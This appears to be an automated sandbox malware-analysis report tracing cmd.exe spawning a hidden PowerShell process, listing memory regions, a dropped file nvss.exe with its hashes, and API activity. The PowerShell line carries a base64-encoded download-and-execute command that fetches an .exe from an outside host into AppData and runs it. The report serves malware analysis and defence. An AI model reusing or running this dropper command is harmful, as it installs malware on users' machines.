Registry Read Value reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = CompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = PathCompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = AutoRun, data = 9, type = REG_NONE False 1
Fn
Module Get Filename process_name = c:\windows\syswow64\cmd.exe, file_name_orig = C:\Windows\SysWOW64\cmd.exe, size = 260 True 1
Fn
Environment Get Environment String name = PATH, result_out = C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\ True 1
Fn
Environment Get Environment String name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC True 1
Fn
Environment Get Environment String name = PROMPT False 1
Fn
Environment Set Environment String name = PROMPT, value = $P$G True 1
Fn
Environment Get Environment String True 1
Fn
Data
Environment Get Environment String name = COMSPEC, result_out = C:\Windows\system32\cmd.exe True 1
Fn
Environment Get Environment String name = KEYS False 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Desktop, type = file_attributes True 2
Fn
Environment Set Environment String name = =C:, value = C:\Users\kFT6uTQW\Desktop True 1
Fn
Environment Get Environment String True 1
Fn
Data
Module Get Handle module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x76520000 True 1
Fn
Module Get Address module_name = c:\windows\syswow64\kernel32.dll, function = CopyFileExW, address_out = 0x76553b92 True 1
Fn
Module Get Address module_name = c:\windows\syswow64\kernel32.dll, function = IsDebuggerPresent, address_out = 0x76534a5d True 1
Fn
Module Get Address module_name = c:\windows\syswow64\kernel32.dll, function = SetConsoleInputExeNameW, address_out = 0x7654a79d True 1
Fn
File Get Info filename = powershell.exe, type = file_attributes False 1
Fn
Environment Get Environment String name = PATH, result_out = C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\ True 1
Fn
Environment Get Environment String name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC True 1
Fn
Process Create process_name = C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, os_pid = 0xa40, creation_flags = CREATE_EXTENDED_STARTUPINFO_PRESENT, show_window = SW_SHOWNORMAL True 1
Fn
Environment Set Environment String name = COPYCMD, value = 0 True 1
Fn
Environment Get Environment String True 1
Fn
Data
Environment Set Environment String name = =ExitCode, value = 00000000 True 1
Fn
Environment Get Environment String True 1
Fn
Data
Environment Set Environment String name = =ExitCodeAscii, value = 0 True 1
Fn
Environment Get Environment String True 1
Fn
Data
File Open filename = STD_OUTPUT_HANDLE True 2
Fn
File Open filename = STD_INPUT_HANDLE True 1
Fn
Process #5: powershell.exe
(Host: 750, Network: 66)
+
Information Value
ID #5
File Name c:\windows\syswow64\windowspowershell\v1.0\powershell.exe
Command Line powershell.exe -ExeCUtIonPolIcY bypass -WINdowSTYLE hiddEn -ENCodedcOMMANd UABvAHcAZQByAFMAaABlAGwAbAAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAcgBvAGYAaQBsAGUAIAAtAHcAaQBuAGQAbwB3AHMAdAB5AGwAZQAgAG0AaQBuAGkAbQBpAHoAZQBkACAALQBjAG8AbQBtAGEAbgBkACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwB3AC0AcwB6AGMAegBlAGMAaQBuAC4AcABsAC8AaQBtAGcAMgAvAHMANQAwAC4AZQB4AGUAJwAsAB0gJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXABuAHYAcwBzAC4AZQB4AGUAHSApADsAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACgAHSAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQBcAG4AdgBzAHMALgBlAHgAZQAdICkA "
Initial Working Directory C:\Users\kFT6uTQW\Desktop\
Monitor Start Time: 00:00:46, Reason: Child Process
Unmonitor End Time: 00:02:35, Reason: Terminated by Timeout
Monitor Duration 00:01:49
OS Process Information
+
Information Value
PID 0xa40
Parent PID 0xa28 (c:\windows\syswow64\cmd.exe)
Is Created or Modified Executable False
Integrity Level Medium
Username XABNCPUWKW\kFT6uTQW
Groups
  • XABNCPUWKW\Domain Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • Everyone (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • BUILTIN\Administrators (USE_FOR_DENY_ONLY)
  • BUILTIN\Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\INTERACTIVE (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • CONSOLE LOGON (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Authenticated Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\This Organization (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Logon Session 00000000:0000e8ae (MANDATORY, ENABLED_BY_DEFAULT, ENABLED, LOGON_ID)
  • LOCAL (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\NTLM Authentication (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x A44
0x A48
0x A4C
0x A50
0x A54
0x A58
0x 0
0x A5C
0x A60
0x A64
0x A68
0x A8C
0x A98
Region
+
Name Start VA End VA Type Permissions Monitored Dump YARA Match Actions
private_0x0000000000010000 0x00010000 0x0002ffff Private Memory Readable, Writable True True False
pagefile_0x0000000000010000 0x00010000 0x0001ffff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000020000 0x00020000 0x0002ffff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000030000 0x00030000 0x00031fff Private Memory Readable, Writable True True False
pagefile_0x0000000000030000 0x00030000 0x00036fff Pagefile Backed Memory Readable True False False
  • Region Actions
apisetschema.dll 0x00040000 0x00040fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
pagefile_0x0000000000050000 0x00050000 0x00053fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000060000 0x00060000 0x00060fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000000070000 0x00070000 0x000effff Private Memory Readable, Writable True True False
locale.nls 0x000f0000 0x00156fff Memory Mapped File Readable False False False
  • Region Actions
pagefile_0x0000000000160000 0x00160000 0x00161fff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
powershell.exe.mui 0x00170000 0x00172fff Memory Mapped File Readable, Writable False False False
  • Region Actions
private_0x0000000000180000 0x00180000 0x00180fff Private Memory Readable, Writable True True False
private_0x0000000000190000 0x00190000 0x001cffff Private Memory Readable, Writable True True False
private_0x00000000001d0000 0x001d0000 0x001d0fff Private Memory Readable, Writable True True False
pagefile_0x00000000001e0000 0x001e0000 0x001e0fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x00000000001f0000 0x001f0000 0x001f0fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000000200000 0x00200000 0x0020ffff Private Memory Readable, Writable True True False
pagefile_0x0000000000210000 0x00210000 0x00211fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000220000 0x00220000 0x00220fff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000230000 0x00230000 0x00231fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000000240000 0x00240000 0x0027ffff Private Memory Readable, Writable True True False
private_0x0000000000280000 0x00280000 0x0037ffff Private Memory Readable, Writable True True False
pagefile_0x0000000000380000 0x00380000 0x0045efff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000460000 0x00460000 0x00460fff Pagefile Backed Memory Readable True False False
  • Region Actions
{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x000000000000000b.db 0x00470000 0x00492fff Memory Mapped File Readable True False False
  • Region Actions
private_0x00000000004a0000 0x004a0000 0x004affff Private Memory Readable, Writable True True False
pagefile_0x00000000004b0000 0x004b0000 0x00637fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000640000 0x00640000 0x007c0fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x00000000007d0000 0x007d0000 0x01bcffff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000001bd0000 0x01bd0000 0x01ccffff Private Memory Readable, Writable True True False
pagefile_0x0000000001cd0000 0x01cd0000 0x01cd0fff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
private_0x0000000001ce0000 0x01ce0000 0x01d1ffff Private Memory Readable, Writable True True False
pagefile_0x0000000001d20000 0x01d20000 0x01d20fff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000001d30000 0x01d30000 0x01d30fff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
private_0x0000000001d40000 0x01d40000 0x01d4ffff Private Memory True True False
private_0x0000000001d50000 0x01d50000 0x01d5ffff Private Memory True True False
private_0x0000000001d60000 0x01d60000 0x01d9ffff Private Memory Readable, Writable, Executable True True False
private_0x0000000001da0000 0x01da0000 0x01daffff Private Memory True True False
private_0x0000000001db0000 0x01db0000 0x01dbffff Private Memory True True False
private_0x0000000001dc0000 0x01dc0000 0x01dcffff Private Memory True True False
private_0x0000000001dd0000 0x01dd0000 0x01ddffff Private Memory True True False
private_0x0000000001de0000 0x01de0000 0x01deffff Private Memory Readable, Writable True True False
l_intl.nls 0x01df0000 0x01df2fff Memory Mapped File Readable False False False
  • Region Actions
private_0x0000000001e00000 0x01e00000 0x01e00fff Private Memory Readable, Writable True True False
private_0x0000000001e10000 0x01e10000 0x01e4ffff Private Memory Readable, Writable, Executable True True False
sorttbls.nlp 0x01e50000 0x01e54fff Memory Mapped File Readable False False False
  • Region Actions
microsoft.wsman.runtime.dll 0x01e60000 0x01e67fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
pagefile_0x0000000001e70000 0x01e70000 0x01e70fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000001e80000 0x01e80000 0x01ebffff Private Memory Readable, Writable True True False
private_0x0000000001ec0000 0x01ec0000 0x01efffff Private Memory Readable, Writable True True False
pagefile_0x0000000001f00000 0x01f00000 0x01f00fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000001f20000 0x01f20000 0x01f5ffff Private Memory Readable, Writable True True False
private_0x0000000001f60000 0x01f60000 0x01f9ffff Private Memory Readable, Writable True True False
sortdefault.nls 0x01fa0000 0x0226efff Memory Mapped File Readable False False False
  • Region Actions
pagefile_0x0000000002270000 0x02270000 0x02662fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000002680000 0x02680000 0x026bffff Private Memory Readable, Writable True True False
private_0x00000000026c0000 0x026c0000 0x026fffff Private Memory Readable, Writable True True False
private_0x0000000002700000 0x02700000 0x0273ffff Private Memory Readable, Writable True True False
private_0x0000000002740000 0x02740000 0x027dffff Private Memory Readable, Writable True True False
private_0x00000000027e0000 0x027e0000 0x0281ffff Private Memory Readable, Writable True True False
private_0x0000000002820000 0x02820000 0x0285ffff Private Memory Readable, Writable True True False
kernelbase.dll.mui 0x02860000 0x0291ffff Memory Mapped File Readable, Writable False False False
  • Region Actions
sortkey.nlp 0x02920000 0x02960fff Memory Mapped File Readable False False False
  • Region Actions
private_0x00000000029b0000 0x029b0000 0x029bffff Private Memory Readable, Writable True True False
private_0x00000000029c0000 0x029c0000 0x049bffff Private Memory Readable, Writable True False False
  • Region Actions
system.transactions.dll 0x049c0000 0x04a02fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
private_0x0000000004a20000 0x04a20000 0x04a5ffff Private Memory Readable, Writable True True False
system.management.automation.dll 0x04a60000 0x04d41fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
powershell.exe 0x21950000 0x219c1fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
culture.dll 0x60340000 0x60347fff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
system.transactions.dll 0x67aa0000 0x67ae2fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
microsoft.powershell.security.ni.dll 0x6c140000 0x6c16cfff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
microsoft.powershell.commands.management.ni.dll 0x6c170000 0x6c232fff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
system.transactions.ni.dll 0x6c3e0000 0x6c47bfff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
microsoft.wsman.management.ni.dll 0x6c480000 0x6c504fff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
system.configuration.install.ni.dll 0x6c510000 0x6c534fff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
microsoft.powershell.commands.diagnostics.ni.dll 0x6c540000 0x6c58afff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
system.core.ni.dll 0x6c590000 0x6c7c4fff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
system.management.automation.ni.dll 0x6c7d0000 0x6d049fff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
system.management.automation.dll 0x6d050000 0x6d331fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
microsoft.powershell.consolehost.ni.dll 0x6d340000 0x6d3c0fff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
system.ni.dll 0x6d3d0000 0x6db6bfff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
mscorlib.ni.dll 0x6db70000 0x6e667fff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
mscorwks.dll 0x6e670000 0x6ec1afff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
userenv.dll 0x73b30000 0x73b46fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
atl.dll 0x73b50000 0x73b63fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
uxtheme.dll 0x73db0000 0x73e2ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64cpu.dll 0x73fd0000 0x73fd7fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64win.dll 0x73fe0000 0x7403bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64.dll 0x74040000 0x7407efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
mscoreei.dll 0x741b0000 0x74229fff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
mscoree.dll 0x74230000 0x74279fff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
rsaenh.dll 0x74460000 0x7449afff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msvcr80.dll 0x746e0000 0x7477afff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
apphelp.dll 0x74780000 0x747cbfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
shdocvw.dll 0x747f0000 0x7481dfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
comctl32.dll 0x74820000 0x749bdfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
cryptsp.dll 0x749e0000 0x749f5fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ntmarta.dll 0x74a00000 0x74a20fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
propsys.dll 0x74a30000 0x74b24fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
profapi.dll 0x74b40000 0x74b4afff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
version.dll 0x74b50000 0x74b58fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
slc.dll 0x75310000 0x75319fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
cscapi.dll 0x75320000 0x7532afff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
srvcli.dll 0x75330000 0x75348fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ntshrui.dll 0x75350000 0x753bffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
linkinfo.dll 0x753c0000 0x753c8fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
cryptbase.dll 0x753f0000 0x753fbfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
sspicli.dll 0x75400000 0x7545ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msvcrt.dll 0x755a0000 0x7564bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
shell32.dll 0x75650000 0x76299fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wldap32.dll 0x762a0000 0x762e4fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
advapi32.dll 0x763f0000 0x7648ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
clbcatq.dll 0x76490000 0x76512fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
kernel32.dll 0x76520000 0x7662ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rpcrt4.dll 0x76690000 0x7677ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
shlwapi.dll 0x76780000 0x767d6fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
imm32.dll 0x767e0000 0x7683ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
cfgmgr32.dll 0x76850000 0x76876fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
oleaut32.dll 0x76910000 0x7699efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
sechost.dll 0x769a0000 0x769b8fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
setupapi.dll 0x76ae0000 0x76c7cfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
usp10.dll 0x76c90000 0x76d2cfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ole32.dll 0x76d30000 0x76e8bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
lpk.dll 0x76ea0000 0x76ea9fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
devobj.dll 0x76eb0000 0x76ec1fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msctf.dll 0x771f0000 0x772bbfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
kernelbase.dll 0x772c0000 0x77305fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
user32.dll 0x77310000 0x7740ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
gdi32.dll 0x77410000 0x7749ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
private_0x00000000774a0000 0x774a0000 0x77599fff Private Memory Readable, Writable, Executable True True False
private_0x00000000775a0000 0x775a0000 0x776befff Private Memory Readable, Writable, Executable True True False
ntdll.dll 0x776c0000 0x77868fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
psapi.dll 0x77870000 0x77874fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ntdll.dll 0x778a0000 0x77a1ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
private_0x000000007efa7000 0x7efa7000 0x7efa9fff Private Memory Readable, Writable True True False
private_0x000000007efaa000 0x7efaa000 0x7efacfff Private Memory Readable, Writable True True False
private_0x000000007efad000 0x7efad000 0x7efaffff Private Memory Readable, Writable True True False
pagefile_0x000000007efb0000 0x7efb0000 0x7efd2fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x000000007efd5000 0x7efd5000 0x7efd7fff Private Memory Readable, Writable True True False
private_0x000000007efd8000 0x7efd8000 0x7efdafff Private Memory Readable, Writable True True False
private_0x000000007efdb000 0x7efdb000 0x7efddfff Private Memory Readable, Writable True True False
private_0x000000007efde000 0x7efde000 0x7efdefff Private Memory Readable, Writable True True False
private_0x000000007efdf000 0x7efdf000 0x7efdffff Private Memory Readable, Writable True True False
private_0x000000007efe0000 0x7efe0000 0x7ffdffff Private Memory Readable True False False
  • Region Actions
pagefile_0x000000007efe0000 0x7efe0000 0x7f0dffff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x000000007f0e0000 0x7f0e0000 0x7ffdffff Private Memory Readable True False False
  • Region Actions
private_0x000000007ffe0000 0x7ffe0000 0x7ffeffff Private Memory Readable True True False
private_0x000000007fff0000 0x7fff0000 0x7fffffeffff Private Memory Readable True False False
  • Region Actions
For performance reasons, the remaining 86 entries are omitted.
The remaining entries can be found in flog.txt.
Created Files
+
Filename File Size Hash Values YARA Match Actions
c:\users\kft6utqw\appdata\roaming\nvss.exe 393.50 KB (402944 bytes) MD5: 36040c85f7aa54e66fd6ed5e7bf298dd
SHA1: 55b6e9b15003770842395be3e0d55ac477537ddd
SHA256: aac8a8f087e8acfa9acd6e40ca4ee5b5c42f82e4e4f4633268b0bb91cf76de1d 		False
Threads
Thread 0xa44
(Host: 354, Network: 0)
+
Category Operation Information Success Count Logfile
System Get Info type = Operating System False 3
Fn
File Get Info filename = C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll, type = file_attributes True 1
Fn
Module Get Filename process_name = c:\windows\syswow64\windowspowershell\v1.0\powershell.exe, file_name_orig = C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, size = 2048 True 1
Fn
System Get Info type = SYSTEM_PROCESS_INFORMATION True 1
Fn
Environment Get Environment String name = MshEnableTrace False 3
Fn
File Get Info filename = C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll, type = file_attributes True 1
Fn
Environment Get Environment String name = MshEnableTrace False 2
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1 True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = C:\Windows\SysWOW64\WindowsPowerShell\v1.0, type = REG_SZ True 1
Fn
Environment Get Environment String name = MshEnableTrace False 9
Fn
File Get Info filename = C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.config, type = file_attributes False 1
Fn
Environment Get Environment String name = MshEnableTrace False 6
Fn
File Create filename = CONOUT$, desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
File Create filename = CONOUT$, desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
System Get Info type = Operating System False 1
Fn
Environment Get Environment String name = MshEnableTrace False 3
Fn
Environment Get Environment String name = MshEnableTrace False 2
Fn
Environment Set Environment String name = PSExecutionPolicyPreference, value = Bypass True 1
Fn
Environment Get Environment String name = MshEnableTrace False 9
Fn
Environment Get Environment String name = PSMODULEPATH, result_out = C:\Windows\system32\WindowsPowerShell\v1.0\Modules\ True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\Environment True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\Environment, value_name = PSMODULEPATH, data = 0, type = REG_EXPAND_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\Environment, value_name = PSMODULEPATH, data = %SystemRoot%\system32\WindowsPowerShell\v1.0\Modules\, type = REG_EXPAND_SZ True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Environment True 1
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\Environment, value_name = PSMODULEPATH, type = REG_NONE False 1
Fn
Environment Set Environment String name = PSMODULEPATH, value = C:\Users\kFT6uTQW\Documents\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules\ True 1
Fn
Environment Get Environment String name = MshEnableTrace False 4
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell, value_name = path, data = 0, type = REG_SZ True 2
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell, value_name = path, data = C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, type = REG_SZ True 1
Fn
File Get Info filename = C:\Windows\SysWOW64\WindowsPowerShell\v1.0, type = file_attributes True 1
Fn
File Get Info filename = C:\Windows\SysWOW64\WindowsPowerShell\v1.0\GetEvent.types.ps1xml, type = file_attributes True 1
Fn
File Get Info filename = C:\Windows\SysWOW64\WindowsPowerShell\v1.0\types.ps1xml, type = file_attributes True 1
Fn
Environment Get Environment String name = MshEnableTrace False 1
Fn
File Create filename = C:\Windows\SysWOW64\WindowsPowerShell\v1.0\GetEvent.types.ps1xml, desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
File Get Info filename = C:\Windows\SysWOW64\WindowsPowerShell\v1.0\GetEvent.types.ps1xml, type = file_type True 2
Fn
File Read filename = C:\Windows\SysWOW64\WindowsPowerShell\v1.0\GetEvent.types.ps1xml, size = 4096, size_out = 4096 True 3
Fn
Data
File Read filename = C:\Windows\SysWOW64\WindowsPowerShell\v1.0\GetEvent.types.ps1xml, size = 4096, size_out = 3315 True 1
Fn
Data
File Read filename = C:\Windows\SysWOW64\WindowsPowerShell\v1.0\GetEvent.types.ps1xml, size = 781, size_out = 0 True 1
Fn
File Read filename = C:\Windows\SysWOW64\WindowsPowerShell\v1.0\GetEvent.types.ps1xml, size = 4096, size_out = 0 True 1
Fn
File Get Info filename = C:\Windows\SysWOW64\WindowsPowerShell\v1.0\GetEvent.types.ps1xml, type = file_attributes True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = C:\Windows\SysWOW64\WindowsPowerShell\v1.0, type = REG_SZ True 1
Fn
System Get Info type = Hardware Information True 1
Fn
File Create filename = C:\Windows\SysWOW64\WindowsPowerShell\v1.0\types.ps1xml, desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
File Get Info filename = C:\Windows\SysWOW64\WindowsPowerShell\v1.0\types.ps1xml, type = file_type True 2
Fn
File Read filename = C:\Windows\SysWOW64\WindowsPowerShell\v1.0\types.ps1xml, size = 4096, size_out = 4096 True 41
Fn
Data
File Read filename = C:\Windows\SysWOW64\WindowsPowerShell\v1.0\types.ps1xml, size = 4096, size_out = 436 True 1
Fn
Data
File Read filename = C:\Windows\SysWOW64\WindowsPowerShell\v1.0\types.ps1xml, size = 4096, size_out = 0 True 1
Fn
File Get Info filename = C:\Windows\SysWOW64\WindowsPowerShell\v1.0\types.ps1xml, type = file_attributes True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = C:\Windows\SysWOW64\WindowsPowerShell\v1.0, type = REG_SZ True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell, value_name = path, data = 0, type = REG_SZ True 2
Fn
